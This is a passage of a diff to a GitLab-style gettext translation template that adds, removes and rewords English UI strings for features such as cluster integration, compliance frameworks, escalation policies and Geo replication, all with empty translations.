-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7990,12 +7786,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -8068,6 +7858,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8083,9 +7876,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8383,9 +8182,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8422,9 +8218,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8443,42 +8236,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8497,6 +8257,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8749,6 +8512,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -9103,7 +8869,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9142,6 +8908,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9208,6 +8977,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9448,9 +9220,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9577,9 +9346,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9811,6 +9577,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9820,9 +9592,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9838,9 +9607,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9916,6 +9682,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10135,9 +9904,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10204,6 +9970,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10564,9 +10342,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10591,6 +10366,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10624,7 +10402,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10744,6 +10522,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11422,12 +11203,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11485,7 +11284,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11497,21 +11296,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11545,6 +11347,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11566,6 +11371,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11584,15 +11392,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11779,7 +11584,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11830,7 +11635,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11839,6 +11644,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -12055,9 +11863,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -12091,9 +11896,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12154,6 +11956,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12283,6 +12088,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12292,13 +12100,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12379,13 +12190,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12403,6 +12211,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12418,9 +12229,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12430,9 +12238,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12562,6 +12367,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12727,9 +12535,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13210,7 +13015,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13219,30 +13024,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13252,6 +13081,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13288,9 +13126,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13435,7 +13270,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13456,9 +13291,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13555,9 +13387,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13576,9 +13405,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13864,9 +13690,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13897,9 +13720,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13948,9 +13768,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13981,9 +13798,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13999,9 +13813,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -14041,24 +13852,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -14068,9 +13867,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14155,9 +13951,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14173,6 +13966,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14239,9 +14035,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14410,6 +14203,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14431,10 +14227,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14638,159 +14431,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14881,6 +14536,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14980,9 +14638,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -15055,6 +14710,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -15064,6 +14725,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -15094,9 +14758,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -15118,6 +14779,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15658,9 +15328,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15706,6 +15373,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15727,9 +15403,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15760,6 +15433,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15829,13 +15505,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15871,9 +15544,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16186,18 +15856,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16222,6 +15889,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16261,13 +15931,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16450,6 +16120,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16567,6 +16240,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16651,9 +16327,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16801,6 +16474,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16981,9 +16657,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17488,13 +17161,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17584,9 +17260,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17740,6 +17413,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
